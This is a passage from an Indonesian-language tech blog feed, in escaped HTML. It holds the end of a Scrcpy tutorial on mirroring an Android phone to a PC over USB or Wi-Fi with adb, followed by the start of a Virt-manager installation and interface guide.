target=&quot;_blank&quot;&gt;Snap Store&lt;/a&gt;.&lt;/p&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;scrcpy&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;android-tools&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;4&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;scrcpy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;android-tools&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Features&lt;a href=&quot;#features&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah beberapa keunggulan dari Scrcpy:&lt;/p&gt;&lt;p&gt;&lt;strong&gt;1. lightness:&lt;/strong&gt; bawaan, hanya menampilkan perangkat.&lt;br /&gt;
&lt;strong&gt;2. performance:&lt;/strong&gt; 30-120 fps, tergatung perangkatnya.&lt;br /&gt;
&lt;strong&gt;3. quality:&lt;/strong&gt; resolusi 1920x1080 atau lebih tinggi.&lt;br /&gt;
&lt;strong&gt;4. low latency:&lt;/strong&gt; 35-70 ms&lt;br /&gt;
&lt;strong&gt;5. low startup time:&lt;/strong&gt; ~1 detik untuk menampilkan gambar pertama.&lt;br /&gt;
&lt;strong&gt;6. non-intrusiveness:&lt;/strong&gt; tidak ada yang ter-&lt;em&gt;install&lt;/em&gt; pada perangkat android.&lt;br /&gt;
&lt;strong&gt;7. user benefits:&lt;/strong&gt; tanpa harus buat akun, tanpa iklan, tanpa internet.&lt;br /&gt;
&lt;strong&gt;8. freedom:&lt;/strong&gt; gratis dan &lt;em&gt;open source&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Adapun fitur-fiturnya:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Audio forwarding (Android 11+)&lt;/li&gt;
&lt;li&gt;Recording&lt;/li&gt;
&lt;li&gt;Virtual display&lt;/li&gt;
&lt;li&gt;Mirroring with android device screen off&lt;/li&gt;
&lt;li&gt;Copy-paste in both direction&lt;/li&gt;
&lt;li&gt;Configurable quality&lt;/li&gt;
&lt;li&gt;Camera mirroring (Android 12+)&lt;/li&gt;
&lt;li&gt;Mirroring as a webcam (Linux-only)&lt;/li&gt;
&lt;li&gt;Physical keyboard and mouse simulation (HID)&lt;/li&gt;
&lt;li&gt;Gamepad support&lt;/li&gt;
&lt;li&gt;OTG mode&lt;/li&gt;
&lt;li&gt;etc…&lt;/li&gt;
&lt;/ol&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Usage&lt;a href=&quot;#usage&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebelum menggunakan Scrcpy, ada 2 hal utama yang perlu dilakukan terlebih dahulu di bagian “Settings” pada perangkat android kita, yaitu:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Mengaktifkan “USB Debugging” &amp;amp; “USB Debugging (Security settings)” (jika ada).&lt;/li&gt;
&lt;li&gt;Mengaktifkan “Wireless Debugging” (Opsional)&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Caranya tentu berbeda-beda bergantung dari merk &lt;em&gt;smartphone&lt;/em&gt; &amp;amp; versi androidnya. Tapi, secara umum, berikut adalah langkah-langkahnya di android:&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Buka “Settings”.&lt;/li&gt;
&lt;li&gt;Pilih “About phone”.&lt;/li&gt;
&lt;li&gt;Klik beberapa kali pada “Build number” atau “OS version”.&lt;/li&gt;
&lt;li&gt;Jika berhasil, kita dapat mengakses “Developer mode”.&lt;/li&gt;
&lt;li&gt;Kembali ke menu utama di “Settings”.&lt;/li&gt;
&lt;li&gt;Masuk ke menu “Developer options”.&lt;/li&gt;
&lt;li&gt;Aktifkan “USB Debugging” &amp;amp; “USB Debugging (Security settings)”.&lt;/li&gt;
&lt;li&gt;Aktifkan juga “Wireless debugging”, jika kita ingin android kita dapat dikontrol tanpa kabel USB (via Wi-Fi).&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;Perhatian!&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Ketika mengaktifkan &lt;strong&gt;“USB Debugging”&lt;/strong&gt;, &lt;strong&gt;“USB Debugging (Security settings)”&lt;/strong&gt;, dan &lt;strong&gt;“Wireless debugging”&lt;/strong&gt;, adalah hal yang wajar jika mendapat peringatan dari android. Peringatan tersebut dapat diabaikan jika kalian yang sedang menggunakannya, bukan orang lain.&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;&lt;p&gt;Setelah itu, colokkan kabel USB dari perangkat android ke PC kita. Ganti mode USB-nya ke “File Transfer/Android Auto”.&lt;/p&gt;&lt;section&gt;&lt;h3&gt;USB Connection&lt;a href=&quot;#usb-connection&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;1. Detecting Connected Device&lt;a href=&quot;#1-detecting-connected-device&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menginisasi sekaligus mengetahui perangkat android yang terhubung ke PC:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;devices&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;adb devices&quot; loading=&quot;lazy&quot; width=&quot;375&quot; height=&quot;188&quot; src=&quot;/_astro/ss1.Bkq9Uqtx_Z1ADwoJ.webp&quot; /&gt;&lt;figcaption&gt;adb devices&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Ketika menjalankan perintah tersebut di komputer, kita akan mendapatkan &lt;em&gt;pop-up window&lt;/em&gt; konfirmasi persetujuan “USB Debugging” di android seperti berikut:&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;USB debugging confirmation&quot; loading=&quot;lazy&quot; width=&quot;1080&quot; height=&quot;847&quot; src=&quot;/_astro/ss2.BiDTksHr_1ecNe.webp&quot; /&gt;&lt;figcaption&gt;USB debugging confirmation&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Saran saya, untuk alasan keamanan, tidak perlu menceklis &lt;strong&gt;“Always allow from this computer”&lt;/strong&gt; kecuali kalian memang sering menggunakan Scrcpy.&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Displaying Android Device&lt;a href=&quot;#2-displaying-android-device&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menampilkan layar android kita ke PC, kita hanya perlu menjalankan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;scrcpy&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;scrcpy via USB&quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/ss3.DXmrubAa_Z6ibC9.webp&quot; /&gt;&lt;figcaption&gt;scrcpy via USB&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Wireless Connection&lt;a href=&quot;#wireless-connection&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;section&gt;&lt;h4&gt;1. Detecting Connected Device&lt;a href=&quot;#1-detecting-connected-device-1&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Colokkan kabel USB dari perangkat android ke PC, lalu deteksi dengan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;devices&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;2. Creating ADB Server&lt;a href=&quot;#2-creating-adb-server&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk mengaktifkan server “Wireless Debugging”, gunakan perintah:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;tcpip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;5555&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;3. Connecting Android Device&lt;a href=&quot;#3-connecting-android-device&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;ul&gt;
&lt;li&gt;Cabut kabel USB dari PC.&lt;/li&gt;
&lt;li&gt;Cari &lt;em&gt;IP Address&lt;/em&gt; perangkat android (“Settings” &amp;gt; “About phone” &amp;gt; “Status” &amp;gt; “IP address”).&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Jalankan perintah berikut untuk menghubungkan perangkat android ke PC kita:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;adb&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;connect&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;android&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ip&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;address&amp;gt;:5555&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;4. Displaying Android Device&lt;a href=&quot;#4-displaying-android-device&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Untuk menampilkan layar android di PC:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;scrcpy&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;scrcpy via wireless &quot; loading=&quot;lazy&quot; width=&quot;1366&quot; height=&quot;768&quot; src=&quot;/_astro/ss4.45p9p2Mq_Z1dVOOM.webp&quot; /&gt;&lt;figcaption&gt;scrcpy via wireless &lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com/Genymobile/scrcpy&quot; target=&quot;_blank&quot;&gt;https://github.com/Genymobile/scrcpy&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://adithyana.hashnode.dev/connecting-your-phone-wirelessly-with-adb-and-scrcpy-in-linux&quot; target=&quot;_blank&quot;&gt;https://adithyana.hashnode.dev/connecting-your-phone-wirelessly-with-adb-and-scrcpy-in-linux&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Practical Guide to Virt-Manager</title><link>https://shangdi.github.io/posts/tech/virt-manager/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/virt-manager/</guid><description>A note explaining basic usage of virt-manager, especially when it comes to the commands.</description><pubDate>Mon, 16 Jun 2025 10:45:18 GMT</pubDate><content:encoded>&lt;section&gt;&lt;h2&gt;Virt-manager?&lt;a href=&quot;#virt-manager&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;&lt;a href=&quot;https://virt-manager.org/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Virt-manager&lt;/strong&gt;&lt;/a&gt; atau &lt;em&gt;&lt;strong&gt;“Virtual Machine Manager”&lt;/strong&gt;&lt;/em&gt; adalah &lt;em&gt;software&lt;/em&gt; untuk melakukan manajemen mesin virtual, seperti 2 &lt;em&gt;software&lt;/em&gt; populer lainnya, yaitu &lt;a href=&quot;https://www.virtualbox.org/&quot; target=&quot;_blank&quot;&gt;Virtualbox&lt;/a&gt; dan &lt;a href=&quot;https://www.vmware.com/&quot; target=&quot;_blank&quot;&gt;VMWare&lt;/a&gt;.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt; Perbedaan signifikan antara Virt-manager dengan 2 &lt;em&gt;hypervisor&lt;/em&gt; lainnya terletak pada penggunaan &lt;strong&gt;KVM (Kernel-based Virtual Machine)&lt;/strong&gt; sebagai teknologi virtualisasinya, dimana KVM ini hanya ada di Linux saja.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt; Dengan kata lain, Virt-manager adalah &lt;em&gt;hypervisor&lt;/em&gt; tipe 1 (&lt;em&gt;baremetal&lt;/em&gt;), sementara Virtualbox dan VMWare adalah &lt;em&gt;hypervisor&lt;/em&gt; tipe 2 (&lt;em&gt;hosted&lt;/em&gt;). Oleh karena itu, performa VM (&lt;em&gt;Virtual Machine&lt;/em&gt;) di Virt-manager dinilai relatif lebih baik dibandingkan dengan Virtualbox atau VMWare.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Hypervisor&lt;/strong&gt; adalah sebuah program untuk menjalankan dan me-&lt;em&gt;manage&lt;/em&gt; satu atau lebih mesin virtual di komputer.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt; Hypervisor tipe 1 (&lt;em&gt;baremetal&lt;/em&gt;) adalah hypervisor yang langsung berjalan di atas hardware dari host-nya untuk melakukan manajemen VM. Sementara hypervisor tipe 2 (&lt;em&gt;hosted&lt;/em&gt;) adalah hypervisor yang berjalan sebagai aplikasi dari sistem operasi host-nya.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Installation&lt;a href=&quot;#installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah cara meng-install Virt-manager di beberapa distro Linux populer:&lt;/p&gt;
























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Command&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Debian/Ubuntu&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo apt install virt-manager&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Arch Linux&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo pacman -Sy virt-manager&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Opensuse&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo zypper install virt-manager&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/td&gt;&lt;td&gt;&lt;strong&gt;&lt;code&gt;sudo dnf install virt-manager&lt;/code&gt;&lt;/strong&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Selain itu, terdapat beberapa paket tambahan yang juga perlu di-&lt;em&gt;install&lt;/em&gt;, diantaranya adalah sebagai berikut:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;pacman&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-Sy&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--needed&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virt-manager&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;qemu-full&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libvirt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dnsmasq&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;ebtables&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Kemudian, kita perlu mengaktifkan &lt;strong&gt;libvirt daemon&lt;/strong&gt;-nya.&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;start&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libvirtd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;systemctl&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;status&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;libvirtd&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk melihat status libvirtd&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;NOTE&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;strong&gt;NixOS:&lt;/strong&gt;&lt;br /&gt;
Masukkan baris berikut di file konfigurasi (&lt;code&gt;/etc/nixos/configuration.nix&lt;/code&gt;):&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;environment&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;systemPackages&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;    &lt;/span&gt;&lt;/span&gt;&lt;span&gt;pkgs&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;virt-manager&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;&lt;span&gt;  &lt;/span&gt;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Atau jika menggunakan &lt;code&gt;nix-shell&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;nix-shell&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-p&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;virt-manager&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;The Interface&lt;a href=&quot;#the-interface&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Berikut adalah tampilan Virt-manager.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;figure&gt;&lt;img alt=&quot;virt-manager graphical interface&quot; loading=&quot;lazy&quot; width=&quot;600&quot; height=&quot;435&quot; src=&quot;/_astro/ss1.DlPsepgl_Z43Knn.webp&quot; /&gt;&lt;figcaption&gt;virt-manager graphical interface&lt;/figcaption&gt;&lt;/figure&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Seperti terlihat pada gambar, ada beberapa menu seperti “File”, “Edit”, “View”, “Help” di bagian atas jendela Virt-manager. Kemudian, di bawahnya, terdapat beberapa tombol yang langsung berkaitan dengan VM yang terpasang, dari paling kiri:&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;Create a new virtual machine&lt;/li&gt;
&lt;li&gt;Show the virtual machine console and details&lt;/li&gt;
&lt;li&gt;Power on the virtual machine&lt;/li&gt;
&lt;li&gt;Pause the virtual machine&lt;/li&gt;
&lt;li&gt;Shut down the virtual machine
&lt;ul&gt;
&lt;li&gt;Reboot&lt;/li&gt;
&lt;li&gt;Shutdown&lt;/li&gt;
&lt;li&gt;Force reset&lt;/li&gt;
&lt;li&gt;Force off&lt;/li&gt;
&lt;li&gt;Save&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
